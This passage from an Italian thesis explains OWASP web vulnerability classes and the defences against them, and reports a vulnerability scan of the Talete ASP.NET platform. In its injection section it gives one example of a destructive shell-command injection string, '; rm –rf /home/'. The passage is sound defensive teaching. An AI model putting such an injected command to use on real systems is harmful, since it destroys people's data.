le istruzioni dannose; spesso per convincere la vittima si utilizzano tecniche di social
engineering come già descritto. Bisogna tener presente che il codice inserito
dall’aggressore viene eseguito dal browser dell’utente come una qualsiasi altra
informazione proveniente dal sito visitato: la vittima non si accorgerà di nulla se le
istruzioni inserite copiano il token di sessione, presente all’interno dei cookie, e lo
inviano verso un sito esterno. Se l’applicazione non controlla la sessione attraverso altri
meccanismi, l’aggressore ha quindi tutte le informazioni che servono per
impersonificare l’utente.
Un attacco leggermente diverso, ma con simili risultati, è quello denominato session
fixation: in questo caso l’aggressore richiede un token di sessione valido attraverso una
normale richiesta e lo inoltra verso la vittima, creando una "trap session". Alcune
applicazioni permettono la definizione di session ID attraverso un’esplicita richiesta
presente nell’URL (es: login.php?PHPSESSID=1234), rendendo possibile la
138

CAPITOLO VI - Gli attacchi e il progetto OWASP
condivisione del medesimo token di sessione tra utente ed aggressore che può quindi
controllare la navigazione.
• User Tracking: un altro uso di XSS è quello relativo all’ottenimento di informazioni
riguardo la tipologia di visite e di visitatori in un sito web, per poi poter iniziare attività
di spamming.
• Browser/User exploitation: l’invio di codice dannoso può rendere difficile la
navigazione, intervenendo sulle modalità di interazione tra sito ed utente. L’aggressore
potrebbe forzare l’apertura di alert box o il reload delle pagine, obbligando l’utente ad
interrompere la visita al sito oppure forzando eventuali percorsi di navigazione.
• Credentialed Misinformation/Information Dissemination: dal momento che Internet
sta assumendo un ruolo importante come mezzo propagandistico, questo ultimo attacco
XSS non deve essere trascurato. Attraverso l’invio di script, in esecuzione sul browser, è
possibile modificare attivamente il contenuto di un sito e la modalità di presentazione.
Le notizie ed i contenuti riportati nelle varie pagine web vulnerabili possono essere
cambiati a proprio piacimento, creando disinformazione. Scenari possibili vanno dalle
modifiche di alcune notizie all’interno dei giornali online, al cambio di valori nel sito
della borsa sino all’inserimento di pubblicità in siti molto frequentati.
L’eventualità che un sito contenga una vulnerabilità di questo tipo è estremamente elevata
poiché spesso non è semplice filtrare l’input dell’utente: esistono innumerevoli modi per
inserire del codice JavaScript all’interno di pagine HTML, molti standard e differenti
meccanismi di invio dei dati. Non dobbiamo inoltre dimenticare che parlando di scripting lato
client non esiste solo JavaScript ma anche ActiveX(OLE), VBScript, Flash, etc.
L’uso di linguaggi interpretati (PHP, Python, Java, Pike, Perl, Ruby, ...) riduce di molto il
problema in quanto un errore per compromettere la sicurezza dovrebbe andare a provocare un
buffer overflow nella VM.
I rimedi sono vari, dal tenere costantemente aggiornato il sistema ed i vari prodotti usati, al
controllare ogni input per lunghezza e formato.
Tuttavia è molto difficile identificare e rimuovere, da una applicazione web, delle vulnerabilità
di XSS. Il modo migliore per riscontrarle è quello di eseguire una revisione del codice ed
139

CAPITOLO VI - Gli attacchi e il progetto OWASP
identificare tutti i punti in cui i dati in ingresso da una HTTP request possano transitare
all’interno di un output HTML. E’ da tenere presente che una varietà di tag HTML può essere
utilizzata per inviare un javascript artefatto. Alcuni tool come Nessus, Nikto e altri, possono
aiutare nella ricerca di queste falle, anche se sono in grado di eseguire un controllo superficiale.
Per ridurre la pericolosità di questo attacco, si potrebbe definire una policy di sicurezza che
specifichi le tipologie di dati da trattare, filtrare l’input e anche l’output in maniera da inibire le
falle provocate da XSS; questo ultimo aspetto è facilmente realizzabile convertendo i caratteri
"pericolosi" negli equivalenti HTML entity encoding (es:"

CAPITOLO VI - Gli attacchi e il progetto OWASP
Per concludere, è possibile vedere come l’entità del danno provocato da questa vulnerabilità
può variare dalla più totale innocuità a un feroce attacco. L’hacker potrebbe firmare dei
messaggi a nome dell’utente oppure leggere i suoi dati sensibili. O ancora lo script potrebbe
consegnare nelle mani dell’hacker la password dell’utente per quel forum/blog. Quanto queste
credenziali possano essere importanti dipende dall’accortezza dell’utente a non usarle, ad
esempio, per l’accesso al proprio conto bancario. In sostanza anche i siti che si reputano a zero
rischio per la bassa importanza del contenuto del proprio sito, possono creare una grave
minaccia. Questo è un chiaro esempio di quanto la sicurezza sia una miscela costruita su più
elementi e con tutti gli attori del sistema informatico.
6.6 Buffer Overflow
Il Buffer Overflow è un attacco che sfrutta una validazione errata dell’input, in cui non si
controlla la lunghezza della sequenza di dati ricevuti dall’applicazione. Un utente, per errore o
maliziosamente, può modificare la parte di codice in esecuzione nello stack andando a
cambiare il flusso di esecuzione del software prendendo il controllo della macchina.
Tecnicamente esistono diverse strategie - stack overflow, heap overflow, format string - che
possono però essere ricondotte ad un’unica grande famiglia di vulnerabilità in cui l’aggressore
può riuscire ad eseguire comandi arbitrari. Nel caso delle applicazioni online è possibile
riscontrare tale vulnerabilità sia nel web server stesso che all’interno di librerie custom
utilizzate dalla web application.
Questa vulnerabilità è al contempo una delle più difficili da riscontrare e da sfruttare: un
aggressore, senza il codice sorgente, difficilmente riuscirà a creare un exploit per inviare
141

CAPITOLO VI - Gli attacchi e il progetto OWASP
comandi remoti al sistema; è molto più probabile che riesca solamente a bloccare il servizio,
interrompendo in ogni caso la normale esecuzione del software.
È opportuno ricordare che, con l’avvento delle tecnologie java (JSP) e gli altri linguaggi
interpretati, tale problematica sta lentamente diminuendo e lasciando posto nella classifica a
nuove sfide per garantire la sicurezza.
6.7 Injection Flaw
Gli attacchi di questo tipo agiscono inserendo codice all’interno dei parametri e possono
causare vari problemi.
Ogni applicazione scritta in linguaggi interpretati, o che faccia uso di chiamate al sistema per
l’esecuzione di programmi esterni, può essere soggetta a questo tipo di attacco.
Un esempio tipico è quello di un parametro scelto dall’utente ed utilizzato all’interno di una
system call; un utente potrebbe inserire, alla fine del parametro, dei comandi in aggiunta a
quelli hardcoded già presenti all’interno dell’applicazione (esempio "; rm –rf
/home/"). In casi eclatanti è possibile veicolare dei codici completi in PHP, Perl o altri
linguaggi, per poi eseguire direttamente il codice sul server.
Oltre ai linguaggi di programmazione le iniezioni possono anche essere di codice SQL, questo
compromette ovviamente la sicurezza dei dati.
I suggerimenti per ovviare a questo tipo di attacchi sono:
• Evitare di accedere a risorse esterne, nei limiti del possibile. Per un gran numero di
comandi shell e per alcune system call, ci sono delle librerie specifiche per ogni
linguaggio in grado di eseguire la stessa operazione. L’utilizzo di queste librerie non
142

CAPITOLO VI - Gli attacchi e il progetto OWASP
coinvolge le risorse del S.O. In tal modo è possibile evitare un gran numero di problemi
legati ai comandi shell.
• Per tutte le chiamate che devono essere eseguite, come ad esempio quelle verso il DB
nel backend, è necessario validare accuratamente i dati trasmessi per evitare che ci siano
dati “malevoli”. E’ possibile strutturare la maggior parte delle request in modo da
assicurarsi che tutti i parametri forniti all’applicazione siano trattati come dati, piuttosto
che come contenuti potenzialmente eseguibili. L’utilizzo di procedure prememorizzate o
di sintassi già preparate, può fornire una protezione in più assicurando che i dati forniti
in ingresso siano trattati come tali. Queste soluzioni possono portare ad una riduzione,
ma non riescono ad eliminare completamente il rischio.
• Controllare i codici di ritorno di eventuali chiamate a programmi esterni, come minimo
per sapere se l’esecuzione è andata a buon fine, ma anche per non essere ignari di un
eventuale attacco in atto.
6.8 Improper Error Handling
Questa classe di vulnerabilità è un esempio concreto di come bastano piccoli accorgimenti per
ridurre notevolmente il rischio di un’aggressione informatica.
Arrivare a rubare dati dal server o eseguire codice su di esso implica una piena conoscenza del
sistema che bisogna aggredire e dei meccanismi di sicurezza da aggirare; all’aggressore
servono informazioni sui servizi presenti, sulle loro versioni e configurazioni oltre che sulla
struttura delle directory. Una gestione non corretta degli errori può rivelare in maniera diretta
tali informazioni, trasformando un errore apparentemente innocuo in un messaggio utilissimo
143

CAPITOLO VI - Gli attacchi e il progetto OWASP
per scopi illeciti. Per accorgersi di quanto può essere rischioso, pensiamo ai seguenti messaggi,
nei panni di un cyber criminale:
“Microsoft OLE DB Provider for ODBC Drivers error ‘80040e14’
[Microsoft][ODBC SQL Server Driver][SQL Server]
All queries in an SQL statement containing a UNION operator must have an equal number of
expressions in their target lists”
Il messaggio precedente rivela alcune preziose informazioni: il tipo di piattaforma (Microsoft
Windows), il tipo di database (SQL Server tramite ODBC) ed il particolare che la query SQL,
molto probabilmente introdotta dall’utente, non combacia in numero con i parametri specificati
nell’istruzione presente nel codice. A questo punto conosciamo il nostro target e possiamo
scegliere opportune funzioni del DBMS per costruire la nostra SQL Injection. Con alta
probabilità il nostro attacco andrà a buon fine.
Anche il semplice File Not Found piuttosto di un Access Denied può essere un’informazione
utile per un hacker, per non parlare degli stack trace, come è possibile vedere nell’esempio,
dove vengono mostrate parte di codice:
Access to the path "C:\WINNT\Microsoft.NET\Framework\v1.1.4322\Temporary ASP.NET
Files\root\c0c02afa\19017b74" is denied.
Description: An unhandled exception occurred during the execution of the current web request.
Please review the stack trace for more information about the error and where it originated in
the code.
Exception Details: System.UnauthorizedAccessException: Access to the path
"C:\WINNT\Microsoft.NET\Framework\v1.1.4322\Temporary ASP.NET
Files\root\c0c02afa\19017b74" is denied.
ASP.NET is not authorized to access the requested resource. Consider granting access rights
to the resource to the ASP.NET request identity. ASP.NET has a base process identity
(typically {MACHINE}\ASPNET on IIS 5 or Network Service on IIS 6) that is used if the
144

CAPITOLO VI - Gli attacchi e il progetto OWASP
application is not impersonating. If the application is impersonating via , the identity will be the anonymous user (typically
IUSR_MACHINENAME) or the authenticated request user.
To grant ASP.NET write access to a file, right-click the file in Explorer, choose "Properties"
and select the Security tab. Click "Add" to add the appropriate user or group. Highlight the
ASP.NET account, and check the boxes for the desired access.
Per difendersi, il principio base è quello di non fornire mai messaggi dettagliati ma, al
contrario, errori generici una volta che la nostra applicazione è online. L’utente non deve
leggere niente di più di quello che gli serve per comprendere lo stato della sua richiesta.
Considerando Talete, se il login è errato, il messaggio di errore è il seguente: “Login non
riuscito. Controlla i dati inseriti e riprova”, che è ben diverso da un messaggio del tipo: “Errore
nella password per l’username xxx”. Quest’ultimo fornisce un’informazione importante e che
bisognerebbe evitare di mostrare, cioè che quell’ username esiste. In questo caso nessuna
informazione tecnica ma, un dato chiaro, che l’utente xxx esiste. All’interno di applicazioni
come questa è possibile enumerare tutti gli utenti, provando poi a forzare eventuali password
deboli.
Una buona prassi è quella di loggare alcune classi di errore – solitamente le più critiche – per
semplificare l’individuazione di errori di implementazione e smascherare eventuali tentativi di
attacco.
145

6.9 Insecure Storage
CAPITOLO VI - Gli attacchi e il progetto OWASP
Nelle applicazioni web c’è spesso la necessità di salvare grosse quantità di dati: pensiamo alle
informazioni di login, al profilo degli utenti e ai dati più riservati che vengono trattati durante
gli acquisti online. La classe di vulnerabilità definita Insecure Storage considera infatti tutte
quelle situazioni in cui i dati non sono conservati in maniera adeguata.
Per fornire un ulteriore livello di sicurezza alla nostra applicazione è spesso consigliabile
l’utilizzo di algoritmi di cifratura o hashing, in maniera da evitare che un utente che riesca ad
accedere al database – per esempio tramite SQL Injection - riesca anche a leggere i dati.
Durante la fase di login è bene effettuare il confronto tra un hash della password immessa
dall’utente e l’hash precedentemente salvato sul sistema, invece che un semplice confronto tra
stringhe in chiaro. Considerando che nei moderni linguaggi sono disponibili moltissimi degli
algoritmi di hashing noti (MD5, SHA-1, ecc), l’implementazione della fase di login, come
quella descritta, non complica ulteriormente il lavoro dello sviluppatore.
Anche quando vogliamo cifrare i dati attraverso algoritmi simmetrici è buona norma affidarsi
ad algoritmi noti e ritenuti sicuri dagli esperti. Una delle massime della crittografia recita: “La
sicurezza di un crittosistema non deve dipendere dal tener celato il crittoalgoritmo; la sicurezza
dipenderà solo dal tener celata la chiave.”
A margine di tutto, è comunque consigliabile limitare la gestione dei dati critici: invece di
cifrare i numeri delle carte di credito e conservarli, si potrebbe chiedere agli utenti di inserire
l’informazione quando necessario.
146

6.10 Denial of Service
CAPITOLO VI - Gli attacchi e il progetto OWASP
Come tutti i servizi di rete, anche le applicazioni web, soffrono degli attacchi di tipo DoS
(Denial of Service) in cui, attraverso l’esaurimento delle risorse del sistema, si satura la sua
capacità fino a determinarne il blocco temporaneo. In questa situazione i sistemi diventano
inutilizzabili per gli utenti legittimamente attivi.
Una grossa quantità di richieste HTTP è un primo e semplice esempio di come poter saturare le
risorse di un server web, bloccando l’accesso per tutti gli altri utenti. Pratiche di questo tipo
sono sempre più frequenti durante i net strike e, purtroppo, come meccanismo d’estorsione
verso siti che traggono profitto dalla pubblicità sul numero di visitatori.
Sebbene particolari configurazioni possono mitigare il problema, questa problematica è
comunque impossibile da risolvere. Si può attenuare un attacco tramite potenziamenti
dell’hardware, attraverso l’uso di load balancing e instaurando accordi con i fornitori del
servizio internet ma non è possibile escludere il problema: l’aggressore potrebbe potenziarsi a
sua volta oppure attaccare risorse diverse (ampiezza di banda, numero di connessioni al
database, spazio su disco, utilizzo della CPU e della memoria e così via).
Come regola generale conviene limitare, a livello software, il massimo numero di risorse
allocate per un singolo utente.
Per gli utenti autenticati, è possibile fissare una quota in modo da poter limitare il carico
massimo che un utente può applicare al sistema. In particolare, dovrebbe essere considerata la
possibilità di gestire una richiesta ad utente per volta, sincronizzandosi con le sessioni degli
utenti. E’ utile bloccare ogni HTTP request che viene processata da un utente nel momento in
cui la richiesta di un altro utente arriva al sistema.
Per gli utenti non autenticati, bisogna evitare tutti gli accessi al DB o ad altre applicazioni avide
di risorse ritenute superflue. E’ consigliabile progettare l’architettura dei flussi del sito, in modo
tale che un utente non autenticato non possa richiamare nessuna di queste funzioni onerose dal
punto di vista dell’effort sulle risorse dell’applicazione. Si potrebbe pensare di mantenere in
una cache il contenuto dei dati ricevuti da utenti non autenticati invece di eseguire delle query
direttamente sul DB. Inoltre sarebbe necessario controllare le modalità con cui vengono gestiti
gli errori, in modo tale da non inficiare le altre funzioni dell’applicazione.
147

CAPITOLO VI - Gli attacchi e il progetto OWASP
Gli eventi Web possono essere avviati da una richiesta HTTP o dal codice di un'applicazione
che genera eccezioni o eventi. La capacità del provider di eventi può essere superata a causa di
un elevato numero di eventi o da eventi di grandi dimensioni. Un elevato numero di eventi può
causare un utilizzo eccessivo del server o dell'applicazione Asp.NET, con effetti negativi sulla
gestione della memoria, sullo spazio disponibile su disco e sul traffico di rete.
Per quanto riguarda la protezione di Talete da questo attacco, ci siamo limitati a utilizzare il
comportamento predefinito di Asp.NET, grazie al quale si riduce l'esposizione dell'applicazione
al rischio di attacchi di tipo Denial of Service:
• ASP.NET seleziona una sola istanza di un evento al minuto. La frequenza di tale
limitazione è configurata nell'elemento profiles e associata agli eventi e ai provider
nell'elemento rules.
• La memorizzazione degli eventi nel buffer viene isolata per ciascun tipo di provider per
evitare conflitti di utilizzo dello spazio nel buffer. I provider possono essere configurati
in modo da utilizzare un insieme specifico di impostazioni del buffer mediante la
definizione dell'elemento bufferModes che contiene le impostazioni richieste per un
determinato provider.
• Per generare un evento personalizzato, è necessario disporre di un livello di attendibilità
medio o alto.
In questo modo si possono configurare adeguatamente le impostazioni delle limitazioni e del
buffer ed evitare overflow, soprattutto per gli eventi che possono essere generati da richieste
HTTP. Inoltre, è possibile impostare modalità di buffer distinte per gestire eventi di importanza
diversa.
148

6.11 Insecure Configuration Management
CAPITOLO VI - Gli attacchi e il progetto OWASP
In ultima posizione troviamo la classe di vulnerabilità ricollegabile all’errata configurazione dei
web server e degli application server. Sebbene questi errori non sono strettamente legati alle
applicazioni eseguite, una cattiva configurazione può mettere a repentaglio, in termini di
sicurezza, l’intero lavoro dello sviluppatore.
Ci sono molti problemi relativi alla configurazione di un server in grado di inficiare la
sicurezza di un sito:
- Vulnerabilità non corrette all’interno dei software installati nel server
- Vulnerabilità all’interno dei software installati nel server oppure configurazioni errate che
permettono di eseguire attacchi del tipo directory listing e il directory traversal
- Presenza di contenuti non necessari quali pagine di defaut, backup di dati scripts,
applicazioni, file di configurazione, e pagine web
- Utilizzo improprio dei permessi su file e directory
- Attivazione di servizi non necessari inclusi sistemi di amministrazione remota e di content
management
- Presenza di account di default con password di default
- Abilitazione di funzioni di amministrazione o di debugging
- Errata gestione dei messaggi di errore da parte dell’applicazione (questo tipo di errore è
analizzato con maggior dettaglio all’interno della sezione error handling)
- Errata configurazione dei certificati SSL e dei settaggi relativi ai metodi di cifratura
- Utilizzo di certificati utente self-signed per l’autenticazione al sito
- Uso di certificati di default
- Autenticazione impropria con sistemi esterni
Alcuni di questi problemi possono essere rilevati utilizzando degli strumenti di scansione di
sicurezza. Una volta riscontrate, queste problematiche possono essere facilmente sfruttate per
ottenere la totale compromissione di un sito web. Una volta che l’attacco è andato a buon fine è
possibile compromettere anche i sistemi collocati nel back end (ad esempio database e la
Intranet aziendale). In conclusione, al fine di mantenere un web server “sicuro” è necessario
149

CAPITOLO VI - Gli attacchi e il progetto OWASP
tenere aggiornato il software allo stato dell’arte dal punto di vista delle patch, e avere una
configurazione sicura dei software installati sul server in esercizio.
Da questo breve elenco risulta quindi evidente come sia indispensabile curare la messa in opera
dell’ambiente di fruizione. La sicurezza di un sistema è determinata dalla sicurezza
dell’elemento più debole: trascurare anche un solo aspetto può determinare la perdita dei nostri
dati o della nostra riservatezza.
150

CAPITOLO VII - Test per valutare la sicurezza di
Talete
151

CAPITOLO VII - Test per valutare la sicurezza di Talete
7.1 Gli strumenti per la sicurezza delle web applications
La parola auditing identifica il processo attraverso il quale si verifica che certi requisiti e
standard all’interno del software siano stati raggiunti, identificando eventualmente le aree che
necessitano di modifiche e miglioramenti.
Il tema dell’individuazione di falle di sicurezza è attuale oltre che estremamente interessante
per i risvolti economici di tale attività: determinare e correggere gli errori software prima che
l’applicazione sia effettivamente in produzione, permette di evitare ulteriori costi, ritardi sullo
sviluppo e disagi per gli utenti. Il problema della ricerca di vulnerabilità nelle applicazioni web
trova prevalentemente soluzione in ambito commerciale, anche se esistono tool open source e
progetti di ricerca in ambito universitario.
È importare sottolineare come questi strumenti software sono solamente un tentativo di
soluzione di un problema complesso e con forte mutabilità: molte di queste applicazioni
lavorano in maniera automatica cercando casi noti di vulnerabilità, mettendo quindi in campo
una vasta base di conoscenza piuttosto che un vero e proprio riconoscimento automatico.
Oltre a distinguere gli strumenti tra online e offline, gli esperti utilizzano spesso una
categorizzazione basata sull’interazione umana necessaria allo svolgimento dell’attività: si
parla quindi di strumenti automatici, semi-automatici o manuali. Come in tutte le attività che
richiedono una forte componente d’intuito, intelligenza ed astuzia, l’uomo supera
brillantemente la macchina: l’auditing svolto da personale competente è un’attività
insostituibile se si vuole garantire la sicurezza dei propri applicativi.
Per la scelta degli strumenti automatici da adoperare è necessario, in primo luogo, identificare
le tecnologie utilizzate e scegliere i tool più adatti al contesto applicativo; spesso però ci sono
anche aspetti che si allontanano dalle considerazioni puramente tecniche come la disponibilità
o meno del codice sorgente, l’assoluta necessità di testare il software sull’ambiente finale di
deploy, di effettuare la revisione in diverse fasi del processo produttivo dell’applicativo stesse e
cosi via. Parlando di strumenti per l’analisi e la scansione di web applications, sono state
analizzate diverse metodologie usate dagli strumenti software.
152

7.1.1 Analisi del codice sorgente
CAPITOLO VII - Test per valutare la sicurezza di Talete
Si parla di analizzatori di codice sorgente quando lo strumento utilizza, all’interno del processo
di analisi, il codice sorgente dell’applicazione. Gli strumenti appartenenti a questa categoria
(revisione statica) si basano principalmente sulla ricerca di pattern all’interno del codice
sorgente al fine di identificare modelli di programmazione errati, che possono quindi introdurre
problemi di sicurezza. Nei casi più semplici questi software ricercano sistematicamente ogni
occorrenza di funzioni potenzialmente pericolose al fine di segnalare al tester tutti quei casi di
potenziale pericolo; è intuibile come questi software sono spesso inutilizzabili durante il testing
di grosse applicazioni poiché la generazione di falsi positivi è troppo elevata. Molti degli
strumenti avanzati cercano di ridurre significativamente il numero dei falsi positivi attraverso
l’analisi del flusso di dati all’interno del codice (dataflow analysis).
A differenza dei precedenti, gli analizzatori che effettuano revisione dinamica attuano
un’analisi in profondità nel codice sorgente cercando di ricostruire lo stack delle chiamate a
runtime, determinando se la specifica invocazione viene effettivamente raggiunta dai dati
ricevuti in ingresso; il principale problema di questa classe di strumenti è legato alla lentezza
della scansione e alla necessità di fornire un set significativo di dati in ingresso.
In generale gli analizzatori di codice sorgente, sia statici che dinamici, risultano degli strumenti
estremamente interessanti in quanto possono essere utilizzati sin dai primi momenti dello
sviluppo del software, riducendo notevolmente i costi del processo produttivo
7.1.2 Black-box scanner
Con questo termine si identificano invece quegli scanner per applicazioni web che simulano la
normale interazione tra web browser e server remoto cercando componenti con vulnerabilità
153

CAPITOLO VII - Test per valutare la sicurezza di Talete
note oppure effettuando l’invio di payload ritenuti potenzialmente pericolosi. L’efficacia di
questi strumenti è ovviamente legata alla base di conoscenza: più questa risulta aggiornata e
personalizzata, migliori saranno i risultati. Generalmente questi software sono molto semplici
da utilizzare poiché non richiedono nessuna interazione da parte dell’utente. L’attendibilità dei
report finali dipende notevolmente dal genere di applicazione che si sta testando: mentre i siti
web statici sono facilmente analizzabili dagli spider usati all’interno di questi tool, non si può
dire lo stesso per le applicazioni che fanno largo uso di JavaScript, Ajax, Flash, form di
autenticazione e percorsi di navigazione che richiedono una costante interazione con l’utente.
Purtroppo, per la natura stessa dell’analisi, è impossibile identificare precisamente dove
effettivamente risiedono gli errori segnalati, lasciando agli sviluppatori l’ingrato compito di
scovare tali bug all’interno del codice.
7.1.3 Altri strumenti
Oltre alle categorie segnalate esistono certamente altre tipologie di strumenti: gli strumenti di
analisi su dati binari cercano di scovare falle di sicurezza all’interno di applicativi binari
prevalentemente in C e C++; i database scanner replicano l’interazione tra client e server SQL
in maniera da poter inviare delle query per testare la configurazione dei DBMS (procedure,
utenti, ruoli, privilegi) oltre ad effettuare l’invio di classiche stringhe riconducibili a potenziali
attacchi di SQL Injection; i configuration scanner operano dei test sulle configurazioni di web
applications e web server per segnalare configurazioni erronee o impostazioni di default
pericolose.
154

CAPITOLO VII - Test per valutare la sicurezza di Talete
Strumenti come quelli presentati di seguito possono però affiancare l’esperto nello svolgimento
dell’auditing, oltre ad assistere gli sviluppatori nelle fasi iniziali del progetto al fine di
determinare gli errori più banali.
Il tool usato è un prodotto commerciale dell’azienda Acunetix chiamato Web Vulnerabilty
Scanner che ricerca comuni vulnerabilità che affliggono i web server ed a livello applicativo
simula situazioni di attacco alla ricerca di falle di sicurezza. Permette l’analisi delle dieci
vulnerabilità critiche individuate da OWASP oltre a numerose altre; interessante il supporto
legato alle nuove tecnologie del web (XML/SOAP Test, XPath Injection) e la buona capacità di
riconoscimento di XSS.
7.2 “Web Vulnerability Scanner”
Prima di iniziare la scansione col WVS è presente uno scan wizard che ci permette di:
• Selezionare il target
155

CAPITOLO VII - Test per valutare la sicurezza di Talete
Figura 70 WVS: target e tecnologia da testare
• Definire le opzioni di scansione: in questa fase si può decidere la modalità di scansione ed il
grado di completezza che si desidera; con il profilo default si effettua una scansione
completa mantenendo comunque un rapporto velocità del test/qualità dei risultati
accettabile.
156

CAPITOLO VII - Test per valutare la sicurezza di Talete
Figura 71 WVS: opzioni di scansione
• Configurare il login: poiché spesso le applicazioni web prevedono dei flussi di navigazione
prefissati, oltre a sezioni che richiedono l’autenticazione attiva dell’utente, con Web
Vulnerability Scanner è possibile impostare l’account nel caso di autenticazione HTTP
(Basic o NTLM) ma anche nel caso di login applicativi (i classici web form con username e
password); per quest’ultimo meccanismo di autenticazione lo strumento permette di
"registrare" una navigazione manuale dell’utente, che verrà ripetuta automaticamente
durante i successivi test. In questo modo, lo strumento possiede tutte le informazioni per
accedere in maniera automatizzata attraverso tutte le sezioni dell’applicazione web.
Avendo terminato la fase di setup è unicamente necessario cliccare sul pulsante Finish per
avviare la scansione. Dopo un po’ di tempo (256 minuti, per la precisione) e dopo oltre 15000
richieste HTTP è possibile visionare i risultati del test: solo 10 vulnerabilità scoperte e di tipo
157

CAPITOLO VII - Test per valutare la sicurezza di Talete
broken links, che non sono una minaccia vera e propria, ma indicano solo che non è possibile
raggiungere quell’indirizzo, che nel nostro caso è quello dei RadControls della Telerik.
Figura 72 Risultati della scansione con WVS
I risultati sono riportati in maniera molto chiara ed è facile, anche per l’utente inesperto, capire
lo stato "di salute" della propria applicazione online, che nel caso di Talete è ottimo in quanto,
come è possibile vedere dalla figura, il threat level è “Low”.
Un comodo indicatore colorato fornisce un riassunto generale dell’analisi, presentando il
numero di vulnerabilità divise in base alla gravità. Un albero della struttura del sito e delle
vulnerabilità evidenziate permette poi di visionare singolarmente ogni test effettuato.
Da segnalare sicuramente la comoda funzionalità per l’aggiornamento della base di
conoscenza dello strumento stesso, in maniera da rimanere al passo con le ultime vulnerabilità
scoperte e le più recenti tecniche di attacco.
Tutte le firme delle vulnerabilità sono completamente consultabili; l’utente curioso può quindi
facilmente capire che tipo di richieste vengono effettuate e quali risposte si attendono nel caso
di pagine vulnerabili.
158

CAPITOLO VII - Test per valutare la sicurezza di Talete
Interessante è anche il generatore di report, con il quale è possibile creare velocemente e
facilmente dei report professionali che specificano le vulnerabilità identificate e suggeriscono
cosa può essere fatto per eliminarle.
159

Conclusioni e sviluppi futuri
In questa tesi, inizialmente è stato implementato il sistema di autenticazione della piattaforma
Talete, che è un’applicazione Asp.NET per l’erogazione di servizi di consulenza alle imprese;
in altre parole è stato gestito il meccanismo di accesso all’applicazione. Considerando le pagine
relative all’amministrazione di Talete, sono state analizzate attentamente le varie tipologie di
utenti che accedono alla piattaforma e, in base alla categoria di appartenenza, sono state
assegnate le giuste autorizzazioni. Quindi l’amministratore può compiere qualsiasi azione sia
in lettura (quindi può visualizzare tutti i dati) che in scrittura; il proprietario può visualizzare i
dati e gli utenti relativi alla sua organizzazione e può modificarli, e cosi via per tutte le altre
categorie di utenti. L’accesso alla piattaforma è permesso solo ad utenti autenticati. Sono stati
seguiti i passi previsti dalla “Ingegneria del software”, progettando il meccanismo di
autorizzazione con l’ausilio di alcuni diagrammi UML come quello dei casi d’uso e delle classi.
In seguito è stato gestito l’accesso alle varie aree (CdG, Qualità, Ambiente, ecc) e applicazioni
di Talete creando la pagina delle Autorizzazioni, che permette al proprietario di
un’organizzazione e ovviamente all’amministratore, di assegnare i permessi ai propri utenti,
“spuntando” le caselle opportune nell’albero che mostra tutte le zone e le pagine di Talete.
L’ultima fase del ciclo di vita di un software prevede il testing delle parti sviluppate, che in
questo lavoro è stato attuato con la tecnica del black-box testing con cui è stata effettuata
un’analisi del comportamento del software basandosi sui risultati degli output ottenuti
eseguendo moduli con degli input prestabiliti. Fondamentale, per lo sviluppo e i miglioramenti
del codice relativo alle autorizzazioni, è stato il Beta testing, in cui il sistema è stato fornito ad
alcuni potenziali utenti che hanno accettato di usarlo per riportare eventuali problemi;
ovviamente il Beta testing ha comportato la modifica del sistema e l’aggiunta di ottimizzazioni
alla nostra piattaforma. Nell’implementazione del nostro software, fondamentale è la presenza
dei design pattern che forniscono soluzioni riutilizzabili nel progetto senza dover ogni volta
partire da zero per risolvere uno specifico problema; quelli da me usati sono l’abstract factory,
il builder e il template method. Nella seconda parte del lavoro, sono state analizzate tutte le
160

vulnerabilità critiche di applicazioni di questo tipo; in particolare sono state esaminate le
vulnerabilità della piattaforma Talete seguendo le linee guida owasp 2.0, e i problemi che
potrebbero nascere da una progettazione non sicura di una web application e quindi dalla sua
architettura. Per fare questo, è stato usato un tool di Microsoft, il “Threat Analysis &
Modeling”, grazie al quale è stata effettuata la modellazione delle minacce; attraverso i reports
di questo strumento sono state individuate tutte le possibili vulnerabilità dell’architettura di
Talete. Infine, dopo aver adottato tutte le eventuali contromisure agli attacchi e alle
vulnerabilità segnalate, sono stati effettuati dei test con un software che ricerca vulnerabilità
nelle web applications, il “Web Vulnerability Scanner”; i report del WVS hanno evidenziato
che Talete è una piattaforma sicura.
Per concludere va detto che la sicurezza assoluta non esiste, cosi come non esiste ad esempio la
qualità totale, ma è un qualcosa a cui si può tendere e si deve farlo non applicando una tecnica,
poi un’altra e cosi via (criptare i cookie, i parameters), ma creando un percorso a livello
architetturale puntando i fari su ogni punto del ciclo di vita del software, come visto con la
SDL di Microsoft, e considerando che:
1 un livello di sicurezza del 100% non è raggiungibile, e comunque una strategia in merito
alla sicurezza coinvolge diversi processi complessi e non tutti di tipo tecnico nel senso
classico del termine.
2 Le organizzazioni devono avere la convinzione di cercare di raggiungere un certo grado
di sicurezza e protezione delle applicazioni software.
3 Le aziende devono provvedere alla formazione degli operatori sin dai livelli più bassi.
Inoltre nel corso del lavoro, abbiamo visto come nell’ultimo periodo sono stati molti gli
incidenti di sicurezza informatica causati da codice mal scritto in applicazioni Web 2.0. Quindi
un ulteriore passo avanti potrebbe essere quello di potenziare le tecniche automatizzate o
manuali di scansione con solidi meccanismi di individuazione degli errori che potrebbero
intaccare il DOM lato client. Potrebbe essere una vera e propria sfida mettere in atto scansioni
completamente automatiche per applicazioni Web 2.0, cosa che potrebbe essere risolta usando
161

tecniche automatiche in combinazione con l’intelligenza dell’uomo. Inoltre il controllo delle
applicazioni Web 2.0 deve essere eseguito con attenzione per scoprire possibili attacchi lato
client e per mitigare il rischio sui sistemi degli utenti.
Infine si può considerare il problema della sicurezza da un punto di vista manageriale: si può
ipotizzare a tal fine che il livello di sicurezza da preventivare dipenda solo dal valore dei dati,
trascurando altri fattori di per se minori. Innanzitutto si deve tenere in considerazione che un
eccessivo livello di sicurezza rende il prodotto finale poco usabile: basti immaginare il caso in
cui un login richieda tre password, oppure l’inserimento di un codice di controllo ogni quarto
d’ora.
Si possono dare per scontate le basilari regole dell’ingegneria del software per cui apportare
delle modifiche al progetto in fase di sviluppo implica un costo che non è trascurabile.
Affrontando un progetto per la realizzazione di un servizio basato su tecnologia Internet, sono
di primaria importanza l’analisi della riservatezza delle informazioni trattate e l’identificazione
di quale sia il corretto livello di sicurezza da realizzare. Chiaramente, il costo dell’infrastruttura
di sicurezza è intimamente legato al livello di affidabilità che si vuole raggiungere; dare
specifiche di tutela troppo stringenti se comparate alla riservatezza dei dati contenuti nel
sistema può comportare uno spreco di risorse superiore al danno potenziale del furto delle
